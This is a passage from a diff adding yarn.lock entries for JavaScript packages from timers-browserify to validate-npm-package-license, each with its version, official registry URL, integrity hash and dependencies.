+ resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee"
+ integrity sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==
+ dependencies:
+ setimmediate "^1.0.4"
+
+tiny-emitter@^2.0.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.1.0.tgz#1d1a56edfc51c43e863cbb5382a72330e3555423"
+ integrity sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==
+
+title-case@^2.1.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/title-case/-/title-case-2.1.1.tgz#3e127216da58d2bc5becf137ab91dae3a7cd8faa"
+ integrity sha1-PhJyFtpY0rxb7PE3q5Ha46fNj6o=
+ dependencies:
+ no-case "^2.2.0"
+ upper-case "^1.0.3"
+
+tmpl@1.0.x:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.4.tgz#23640dd7b42d00433911140820e5cf440e521dd1"
+ integrity sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE=
+
+to-arraybuffer@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43"
+ integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=
+
+to-fast-properties@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
+ integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=
+
+to-object-path@^0.3.0:
+ version "0.3.0"
+ resolved "https://registry.yarnpkg.com/to-object-path/-/to-object-path-0.3.0.tgz#297588b7b0e7e0ac08e04e672f85c1f4999e17af"
+ integrity sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=
+ dependencies:
+ kind-of "^3.0.2"
+
+to-regex-range@^2.1.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-2.1.1.tgz#7c80c17b9dfebe599e27367e0d4dd5590141db38"
+ integrity sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=
+ dependencies:
+ is-number "^3.0.0"
+ repeat-string "^1.6.1"
+
+to-regex-range@^5.0.1:
+ version "5.0.1"
+ resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
+ integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
+ dependencies:
+ is-number "^7.0.0"
+
+to-regex@^3.0.1, to-regex@^3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/to-regex/-/to-regex-3.0.2.tgz#13cfdd9b336552f30b51f33a8ae1b42a7a7599ce"
+ integrity sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==
+ dependencies:
+ define-property "^2.0.2"
+ extend-shallow "^3.0.2"
+ regex-not "^1.0.2"
+ safe-regex "^1.1.0"
+
+toggle-selection@^1.0.6:
+ version "1.0.6"
+ resolved "https://registry.yarnpkg.com/toggle-selection/-/toggle-selection-1.0.6.tgz#6e45b1263f2017fa0acc7d89d78b15b8bf77da32"
+ integrity sha1-bkWxJj8gF/oKzH2J14sVuL932jI=
+
+toidentifier@1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
+ integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==
+
+token-stream@1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/token-stream/-/token-stream-1.0.0.tgz#cc200eab2613f4166d27ff9afc7ca56d49df6eb4"
+ integrity sha1-zCAOqyYT9BZtJ/+a/HylbUnfbrQ=
+
+tough-cookie@~2.5.0:
+ version "2.5.0"
+ resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-2.5.0.tgz#cd9fb2a0aa1d5a12b473bd9fb96fa3dcff65ade2"
+ integrity sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==
+ dependencies:
+ psl "^1.1.28"
+ punycode "^2.1.1"
+
+trim-newlines@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-1.0.0.tgz#5887966bb582a4503a41eb524f7d35011815a613"
+ integrity sha1-WIeWa7WCpFA6QetST301ARgVphM=
+
+trim-trailing-lines@^1.0.0:
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/trim-trailing-lines/-/trim-trailing-lines-1.1.4.tgz#bd4abbec7cc880462f10b2c8b5ce1d8d1ec7c2c0"
+ integrity sha512-rjUWSqnfTNrjbB9NQWfPMH/xRK1deHeGsHoVfpxJ++XeYXE0d6B1En37AHfw3jtfTU7dzMzZL2jjpe8Qb5gLIQ==
+
+trim@0.0.1:
+ version "0.0.1"
+ resolved "https://registry.yarnpkg.com/trim/-/trim-0.0.1.tgz#5858547f6b290757ee95cccc666fb50084c460dd"
+ integrity sha1-WFhUf2spB1fulczMZm+1AITEYN0=
+
+trough@^1.0.0:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/trough/-/trough-1.0.5.tgz#b8b639cefad7d0bb2abd37d433ff8293efa5f406"
+ integrity sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==
+
+"true-case-path@^1.0.2":
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/true-case-path/-/true-case-path-1.0.3.tgz#f813b5a8c86b40da59606722b144e3225799f47d"
+ integrity sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==
+ dependencies:
+ glob "^7.1.2"
+
+ts-dedent@^2.0.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/ts-dedent/-/ts-dedent-2.1.1.tgz#6dd56870bb5493895171334fa5d7e929107e5bbc"
+ integrity sha512-riHuwnzAUCfdIeTBNUq7+Yj+ANnrMXo/7+Z74dIdudS7ys2k8aSGMzpJRMFDF7CLwUTbtvi1ZZff/Wl+XxmqIA==
+
+ts-essentials@^2.0.3:
+ version "2.0.12"
+ resolved "https://registry.yarnpkg.com/ts-essentials/-/ts-essentials-2.0.12.tgz#c9303f3d74f75fa7528c3d49b80e089ab09d8745"
+ integrity sha512-3IVX4nI6B5cc31/GFFE+i8ey/N2eA0CZDbo6n0yrz0zDX8ZJ8djmU1p+XRz7G3is0F3bB3pu2pAroFdAWQKU3w==
+
+ts-loader@^8.0.14:
+ version "8.3.0"
+ resolved "https://registry.yarnpkg.com/ts-loader/-/ts-loader-8.3.0.tgz#83360496d6f8004fab35825279132c93412edf33"
+ integrity sha512-MgGly4I6cStsJy27ViE32UoqxPTN9Xly4anxxVyaIWR+9BGxboV4EyJBGfR3RePV7Ksjj3rHmPZJeIt+7o4Vag==
+ dependencies:
+ chalk "^4.1.0"
+ enhanced-resolve "^4.0.0"
+ loader-utils "^2.0.0"
+ micromatch "^4.0.0"
+ semver "^7.3.4"
+
+ts-map@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/ts-map/-/ts-map-1.0.3.tgz#1c4d218dec813d2103b7e04e4bcf348e1471c1ff"
+ integrity sha512-vDWbsl26LIcPGmDpoVzjEP6+hvHZkBkLW7JpvwbCv/5IYPJlsbzCVXY3wsCeAxAUeTclNOUZxnLdGh3VBD/J6w==
+
+ts-pnp@^1.1.6:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/ts-pnp/-/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92"
+ integrity sha512-csd+vJOb/gkzvcCHgTGSChYpy5f1/XKNsmvBGO4JXS+z1v2HobugDz4s1IeFXM3wZB44uczs+eazB5Q/ccdhQw==
+
+tslib@^2.0.1, tslib@^2.0.3:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.2.0.tgz#fb2c475977e35e241311ede2693cee1ec6698f5c"
+ integrity sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==
+
+tty-browserify@0.0.0:
+ version "0.0.0"
+ resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6"
+ integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=
+
+tunnel-agent@^0.6.0:
+ version "0.6.0"
+ resolved "https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd"
+ integrity sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=
+ dependencies:
+ safe-buffer "^5.0.1"
+
+tweetnacl@^0.14.3, tweetnacl@~0.14.0:
+ version "0.14.5"
+ resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64"
+ integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=
+
+type-check@~0.3.2:
+ version "0.3.2"
+ resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
+ integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=
+ dependencies:
+ prelude-ls "~1.1.2"
+
+type-fest@^0.6.0:
+ version "0.6.0"
+ resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.6.0.tgz#8d2a2370d3df886eb5c90ada1c5bf6188acf838b"
+ integrity sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==
+
+type-fest@^0.8.1:
+ version "0.8.1"
+ resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
+ integrity sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==
+
+type-is@~1.6.17, type-is@~1.6.18:
+ version "1.6.18"
+ resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
+ integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
+ dependencies:
+ media-typer "0.3.0"
+ mime-types "~2.1.24"
+
+typedarray-to-buffer@^3.1.5:
+ version "3.1.5"
+ resolved "https://registry.yarnpkg.com/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080"
+ integrity sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==
+ dependencies:
+ is-typedarray "^1.0.0"
+
+typedarray@^0.0.6:
+ version "0.0.6"
+ resolved "https://registry.yarnpkg.com/typedarray/-/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777"
+ integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=
+
+unbox-primitive@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.0.1.tgz#085e215625ec3162574dc8859abee78a59b14471"
+ integrity sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==
+ dependencies:
+ function-bind "^1.1.1"
+ has-bigints "^1.0.1"
+ has-symbols "^1.0.2"
+ which-boxed-primitive "^1.0.2"
+
+unfetch@^4.2.0:
+ version "4.2.0"
+ resolved "https://registry.yarnpkg.com/unfetch/-/unfetch-4.2.0.tgz#7e21b0ef7d363d8d9af0fb929a5555f6ef97a3be"
+ integrity sha512-F9p7yYCn6cIW9El1zi0HI6vqpeIvBsr3dSuRO6Xuppb1u5rXpCPmMvLSyECLhybr9isec8Ohl0hPekMVrEinDA==
+
+unherit@^1.0.4:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/unherit/-/unherit-1.1.3.tgz#6c9b503f2b41b262330c80e91c8614abdaa69c22"
+ integrity sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==
+ dependencies:
+ inherits "^2.0.0"
+ xtend "^4.0.0"
+
+unicode-canonical-property-names-ecmascript@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz#2619800c4c825800efdd8343af7dd9933cbe2818"
+ integrity sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==
+
+unicode-match-property-ecmascript@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz#8ed2a32569961bce9227d09cd3ffbb8fed5f020c"
+ integrity sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==
+ dependencies:
+ unicode-canonical-property-names-ecmascript "^1.0.4"
+ unicode-property-aliases-ecmascript "^1.0.4"
+
+unicode-match-property-value-ecmascript@^1.2.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz#0d91f600eeeb3096aa962b1d6fc88876e64ea531"
+ integrity sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==
+
+unicode-property-aliases-ecmascript@^1.0.4:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz#dd57a99f6207bedff4628abefb94c50db941c8f4"
+ integrity sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==
+
+unified@9.2.0:
+ version "9.2.0"
+ resolved "https://registry.yarnpkg.com/unified/-/unified-9.2.0.tgz#67a62c627c40589edebbf60f53edfd4d822027f8"
+ integrity sha512-vx2Z0vY+a3YoTj8+pttM3tiJHCwY5UFbYdiWrwBEbHmK8pvsPj2rtAX2BFfgXen8T39CJWblWRDT4L5WGXtDdg==
+ dependencies:
+ bail "^1.0.0"
+ extend "^3.0.0"
+ is-buffer "^2.0.0"
+ is-plain-obj "^2.0.0"
+ trough "^1.0.0"
+ vfile "^4.0.0"
+
+union-value@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/union-value/-/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847"
+ integrity sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==
+ dependencies:
+ arr-union "^3.1.0"
+ get-value "^2.0.6"
+ is-extendable "^0.1.1"
+ set-value "^2.0.1"
+
+unique-filename@^1.1.1:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230"
+ integrity sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==
+ dependencies:
+ unique-slug "^2.0.0"
+
+unique-slug@^2.0.0:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c"
+ integrity sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==
+ dependencies:
+ imurmurhash "^0.1.4"
+
+unist-builder@2.0.3, unist-builder@^2.0.0:
+ version "2.0.3"
+ resolved "https://registry.yarnpkg.com/unist-builder/-/unist-builder-2.0.3.tgz#77648711b5d86af0942f334397a33c5e91516436"
+ integrity sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw==
+
+unist-util-generated@^1.0.0:
+ version "1.1.6"
+ resolved "https://registry.yarnpkg.com/unist-util-generated/-/unist-util-generated-1.1.6.tgz#5ab51f689e2992a472beb1b35f2ce7ff2f324d4b"
+ integrity sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg==
+
+unist-util-is@^4.0.0:
+ version "4.1.0"
+ resolved "https://registry.yarnpkg.com/unist-util-is/-/unist-util-is-4.1.0.tgz#976e5f462a7a5de73d94b706bac1b90671b57797"
+ integrity sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==
+
+unist-util-position@^3.0.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/unist-util-position/-/unist-util-position-3.1.0.tgz#1c42ee6301f8d52f47d14f62bbdb796571fa2d47"
+ integrity sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA==
+
+unist-util-remove-position@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz#5d19ca79fdba712301999b2b73553ca8f3b352cc"
+ integrity sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA==
+ dependencies:
+ unist-util-visit "^2.0.0"
+
+unist-util-remove@^2.0.0:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/unist-util-remove/-/unist-util-remove-2.1.0.tgz#b0b4738aa7ee445c402fda9328d604a02d010588"
+ integrity sha512-J8NYPyBm4baYLdCbjmf1bhPu45Cr1MWTm77qd9istEkzWpnN6O9tMsEbB2JhNnBCqGENRqEWomQ+He6au0B27Q==
+ dependencies:
+ unist-util-is "^4.0.0"
+
+unist-util-stringify-position@^2.0.0:
+ version "2.0.3"
+ resolved "https://registry.yarnpkg.com/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz#cce3bfa1cdf85ba7375d1d5b17bdc4cada9bd9da"
+ integrity sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==
+ dependencies:
+ "@types/unist" "^2.0.2"
+
+unist-util-visit-parents@^3.0.0:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz#65a6ce698f78a6b0f56aa0e88f13801886cdaef6"
+ integrity sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg==
+ dependencies:
+ "@types/unist" "^2.0.0"
+ unist-util-is "^4.0.0"
+
+unist-util-visit@2.0.3, unist-util-visit@^2.0.0:
+ version "2.0.3"
+ resolved "https://registry.yarnpkg.com/unist-util-visit/-/unist-util-visit-2.0.3.tgz#c3703893146df47203bb8a9795af47d7b971208c"
+ integrity sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q==
+ dependencies:
+ "@types/unist" "^2.0.0"
+ unist-util-is "^4.0.0"
+ unist-util-visit-parents "^3.0.0"
+
+universalify@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717"
+ integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==
+
+unpipe@1.0.0, unpipe@~1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
+ integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=
+
+unquote@^1.1.0:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/unquote/-/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
+ integrity sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=
+
+unset-value@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/unset-value/-/unset-value-1.0.0.tgz#8376873f7d2335179ffb1e6fc3a8ed0dfc8ab559"
+ integrity sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=
+ dependencies:
+ has-value "^0.3.1"
+ isobject "^3.0.0"
+
+upath@^1.1.1:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/upath/-/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
+ integrity sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==
+
+upper-case-first@^1.1.0, upper-case-first@^1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/upper-case-first/-/upper-case-first-1.1.2.tgz#5d79bedcff14419518fd2edb0a0507c9b6859115"
+ integrity sha1-XXm+3P8UQZUY/S7bCgUHybaFkRU=
+ dependencies:
+ upper-case "^1.1.1"
+
+upper-case@^1.0.3, upper-case@^1.1.0, upper-case@^1.1.1, upper-case@^1.1.3:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/upper-case/-/upper-case-1.1.3.tgz#f6b4501c2ec4cdd26ba78be7222961de77621598"
+ integrity sha1-9rRQHC7EzdJrp4vnIilh3ndiFZg=
+
+uri-js@^4.2.2:
+ version "4.4.1"
+ resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+ integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
+ dependencies:
+ punycode "^2.1.0"
+
+urix@^0.1.0:
+ version "0.1.0"
+ resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
+ integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
+
+url-loader@^4.1.1:
+ version "4.1.1"
+ resolved "https://registry.yarnpkg.com/url-loader/-/url-loader-4.1.1.tgz#28505e905cae158cf07c92ca622d7f237e70a4e2"
+ integrity sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA==
+ dependencies:
+ loader-utils "^2.0.0"
+ mime-types "^2.1.27"
+ schema-utils "^3.0.0"
+
+url@^0.11.0:
+ version "0.11.0"
+ resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
+ integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=
+ dependencies:
+ punycode "1.3.2"
+ querystring "0.2.0"
+
+use-composed-ref@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/use-composed-ref/-/use-composed-ref-1.1.0.tgz#9220e4e94a97b7b02d7d27eaeab0b37034438bbc"
+ integrity sha512-my1lNHGWsSDAhhVAT4MKs6IjBUtG6ZG11uUqexPH9PptiIZDQOzaF4f5tEbJ2+7qvNbtXNBbU3SfmN+fXlWDhg==
+ dependencies:
+ ts-essentials "^2.0.3"
+
+use-isomorphic-layout-effect@^1.0.0:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.1.tgz#7bb6589170cd2987a152042f9084f9effb75c225"
+ integrity sha512-L7Evj8FGcwo/wpbv/qvSfrkHFtOpCzvM5yl2KVyDJoylVuSvzphiiasmjgQPttIGBAy2WKiBNR98q8w7PiNgKQ==
+
+use-latest@^1.0.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/use-latest/-/use-latest-1.2.0.tgz#a44f6572b8288e0972ec411bdd0840ada366f232"
+ integrity sha512-d2TEuG6nSLKQLAfW3By8mKr8HurOlTkul0sOpxbClIv4SQ4iOd7BYr7VIzdbktUCnv7dua/60xzd8igMU6jmyw==
+ dependencies:
+ use-isomorphic-layout-effect "^1.0.0"
+
+use@^3.1.0:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/use/-/use-3.1.1.tgz#d50c8cac79a19fbc20f2911f56eb973f4e10070f"
+ integrity sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==
+
+util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
+ integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
+
+util.promisify@1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.0.tgz#440f7165a459c9a16dc145eb8e72f35687097030"
+ integrity sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==
+ dependencies:
+ define-properties "^1.1.2"
+ object.getownpropertydescriptors "^2.0.3"
+
+util@0.10.3:
+ version "0.10.3"
+ resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9"
+ integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk=
+ dependencies:
+ inherits "2.0.1"
+
+util@^0.11.0:
+ version "0.11.1"
+ resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61"
+ integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==
+ dependencies:
+ inherits "2.0.3"
+
+utila@~0.4:
+ version "0.4.0"
+ resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
+ integrity sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=
+
+utils-merge@1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
+ integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
+
+uuid-browser@^3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/uuid-browser/-/uuid-browser-3.1.0.tgz#0f05a40aef74f9e5951e20efbf44b11871e56410"
+ integrity sha1-DwWkCu90+eWVHiDvv0SxGHHlZBA=
+
+uuid@^3.3.2:
+ version "3.4.0"
+ resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee"
+ integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==
+
+validate-npm-package-license@^3.0.1:
+ version "3.0.4"
